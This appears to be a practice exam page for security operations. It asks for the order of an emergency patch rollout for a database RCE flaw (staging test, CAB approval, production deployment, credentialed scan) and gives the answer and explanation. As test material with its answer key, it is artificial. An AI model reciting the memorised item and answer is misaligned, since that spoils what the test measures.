Network Security Monitoring Triage Workflow

Question 560Question →

A security operations team is responding to a newly disclosed critical remote code execution vulnerability impacting enterprise database servers. To ensure operational stability while mitigating risk, what is the correct chronological sequence of steps the team should perform during this emergency patch deployment workflow?

Drag items to arrange them in the correct order

Show answer & explanation

Answer

The correct sequence begins with evaluating and testing the patch in a non-production staging environment, followed by submitting an emergency change request with a rollback plan to the Change Advisory Board (CAB). Once authorized, the patch is deployed to production database hosts during an approved window, and finally, credentialed scanning and baseline auditing are performed to confirm success.

The correct operational sequence follows structured patch and change management governance. Testing in a non-production environment occurs first to verify stability. Next, emergency CAB approval ensures stakeholder authorization and rollback readiness. The patch is then deployed to production, and post-deployment credentialed scanning verifies successful remediation without baseline drift.

Step-by-Step Solution

Stage and test the emergency patch in a non-production environment.

Identified potential application incompatibility and confirmed system stability before touching live systems.

Applying untested patches directly to production risks outage or service failure.

Obtain CAB approval with documented rollback procedures.

Emergency change request is authorized by stakeholders with an agreed contingency plan.

Change management policy mandates authorized approval and risk governance even during emergency windows.

Deploy the patch to production hosts during the maintenance window.

Vulnerability mitigation is applied across production target machines.

Execution must occur after validation and authorization within controlled timeframes.

Validate deployment via credentialed scanning and configuration baseline checks.

Confirmed successful vulnerability remediation and verified configuration compliance without drift.

Operational verification ensures the flaw is eliminated and no system settings were unintentionally altered.

Key Concept

Standard Emergency Patch Management Lifecycle and Governance Workflow

Estimated Time:1m 30s

PreviousPage 28 / 32Next

Security Operations

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept